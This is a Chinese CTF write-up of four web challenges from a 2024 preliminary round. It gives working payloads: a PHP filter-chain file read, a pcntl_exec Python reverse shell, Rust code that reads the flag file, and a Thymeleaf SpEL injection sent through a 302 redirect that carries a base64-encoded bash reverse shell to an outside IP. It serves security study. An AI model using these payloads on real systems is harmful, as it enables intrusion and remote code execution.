这次队里我们仨发挥中规中矩,排14名。
只能说最后unauth那道会错了意,然后卡住了,后面才发现是原题秒出的那种.....
确实是我傻逼了....
ezphp
可以用endoafr报错拿到文件内容,然后就是一个匿名类的读取。
<?php highlight_file(__FILE__); // flag.php if (isset($_POST['f'])) { echo hash_file('md5', $_POST['f']); } ?>
这里肯定是撞不出来的,所以得另辟蹊径。
Challenges_2022_Public/web/minimal-php at main · DownUnderCTF/Challenges_2022_Public (github.com)
这是我们队用的方法。
Calculating blowup baseline blowup is 9 detecting equals [True, True, False] j: [True, True, False] header: convert.base64-encode|convert.base64-encode UEQ5d2FIQU5DbWxtSUNocGMzTmxkQ2drWDBkRlZGc25aWHB3YUhCUWFIQTRKMTBwS1NCN0RRb2dJQ0FnYUdsbmFHeHBaMmgwWDJa
拿到源码:
<?php if (isset($_GET['ezphpPhp8'])) { highlight_file(__FILE__); } else { die("No"); } $a = new class { function __construct() { } function getflag() { system('cat /flag'); } }; unset($a); $a = $_GET['ezphpPhp8']; $f = new $a(); $f->getflag(); ?>
这里有一个unset的操作,去搜一下就可以发现很多关于unset的解释,因为这个匿名类没有到256字节的长度,所以unset不会马上就删除掉它的内存,只是把这个名字给擦去了。
那么我们只需要找到这块内存,然后扒出来就行了。
本地起一个试试:
<?php if (isset($_GET['ezphpPhp8'])) { highlight_file(__FILE__); } else { die("No"); } $a = new class { function __construct() { } function getflag() { system('cat /flag'); } }; unset($a); $c=get_declared_classes(); //c用urlencode 输出最后一个 //有不可见字符 echo urlencode($c[count($c)-1]); $f = new $a(); $f->getflag(); ?>
ok了,找到了如何调用这个匿名类,但是有个问题就是,最后的数字一定要对上,$0后面是访问次数,要一致
重新启动容器传入:
flag.phpezphpPhp8=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%3A7%240
就出了。
unauth
基本上是原题。
如何在ctf解题实战中绕过disable_function_ctf disablefunction-CSDN博客
首先是登录,www.zip获取log文件,拿到admin和登录密码。
然后就是一个直接执行的cmd,但是是ban掉了很多东西的。
但是没有ban掉pcntl_exec,直接python反弹shell:
pcntl_exec("/usr/bin/python",array(%27-c%27,%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("vps",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27));
开启一个shell界面交互:
python -c 'import pty;pty.spawn("/bin/sh")'
根目录有flag,但是没权限,看一下:
需要admin权限,suid提权:
su提权admin,但是还要输入密码,log里那个不行。
但是打进来shell的那个目录下有个config,读取看看:
找到数据库账号密码,登录成功:
playground
rust写的,不会rust...
丢gpt,发现只过滤了std,post在指定路由传参就会编译代码执行。
开始找不到路子,但是发现 include_str! 没ban,一把梭了:
curl -X POST -d 'fn main() { let flag = include_str!("/flag"); println!("{}", flag);}' http://eci-2zedj6bbj43wih3rvgzp.cloudeci1.ichunqiu.com:8000/rust_code
后面看了其他人的wp,还可以内联写C绕过:
//声明外部函数 C语言库函数 extern "C" { fn system(cmd: *const u8) -> i32; } fn main() { // Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作 unsafe { system("cat /flag".as_ptr()); } }
当然队里赵哥一开始用的写orw的方式打进去了。这道就略过吧。
Simp1escape
拿到一个jar,审计一下代码,主要看到三个交互:
index就是一个index页面,没啥好说的。
CurlController.class:
package com.example.controller; import com.example.utils.Utils; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.InetAddress; import java.net.URL; import java.util.concurrent.TimeUnit; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @RestController public class CurlController { private static final String RESOURCES_DIRECTORY = "resources"; private static final String SAVE_DIRECTORY = "sites"; public CurlController() { } @RequestMapping({"/curl"}) public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception { if (!url.startsWith("http:") && !url.startsWith("https:")) { System.out.println(url.startsWith("http")); return "No protocol: " + url; } else { URL urlObject = new URL(url); String result = ""; String hostname = urlObject.getHost(); if (hostname.indexOf("../") != -1) { return "Illegal hostname"; } else { InetAddress inetAddress = InetAddress.getByName(hostname); if (Utils.isPrivateIp(inetAddress)) { return "Illegal ip address"; } else { try { String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites"; File saveDir = new File(savePath); if (!saveDir.exists()) { saveDir.mkdirs(); } TimeUnit.SECONDS.sleep(4L); HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection(); if (connection instanceof HttpURLConnection) { connection.connect(); int statusCode = connection.getResponseCode(); if (statusCode == 200) { BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); BufferedWriter writer; String line; for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "\n") { } writer.write(result); reader.close(); writer.close(); } } return result; } catch (Exception var15) { return var15.toString(); } } } } } }
AdminController.class:
package com.example.controller; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.http.HttpStatus; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.thymeleaf.TemplateEngine; import org.thymeleaf.context.Context; import org.thymeleaf.spring5.SpringTemplateEngine; @Controller public class AdminController { public AdminController() { } @GetMapping({"/getsites"}) public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception { String ipAddress = request.getRemoteAddr(); if (!ipAddress.equals("127.0.0.1")) { response.setStatus(HttpStatus.FORBIDDEN.value()); return "forbidden"; } else { Context context = new Context(); TemplateEngine engine = new SpringTemplateEngine(); String dispaly = engine.process(hostname, context); return dispaly; } } }
漏洞点肯定是AdminController这里,但是限制了本地访问,但可以用 302 跳转绕过。
本来没搞懂这里整个引擎啥东西,看到import的thymeleaf,就想到了thymeleaf的SSTI注入。
CurlController是交互点,前面有个http/https检测,除了不让目录穿越,没什么waf。
RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup - Boogiepop Doesn't Laugh (boogipop.com)
这里用jackson的objectmapper去获取SPEL对象,最终执行SPEL表达式,类似于嵌套绕过了。thymeleaf本身也是SPEL只不过他给原生SPEL加了黑名单。
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]
注意url编码包括特殊符号,vps挂一个php,然后直接打:
<?php header("Location:http://127.0.0.1:8080/getsites?hostname=%5B%5B%24%7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22).newInstance().readValue(%22%7B%7D%22%2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC84LjE0MC4yNTEuMTUyLzEyMzQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')%22).getValue()%7D%5D%5D");?>
/curl?url=http://vps:port/exploit.php
也可以requestrepo上设置response然后跳转:
/curl?url=http://7eaxdfy1.requestrepo.com
但是我本地测的时候没有出,静候佳音吧。
标签:web,http,String,java,url,初赛,2024,import,org From: https://www.cnblogs.com/EddieMurphy-blogs/p/18113014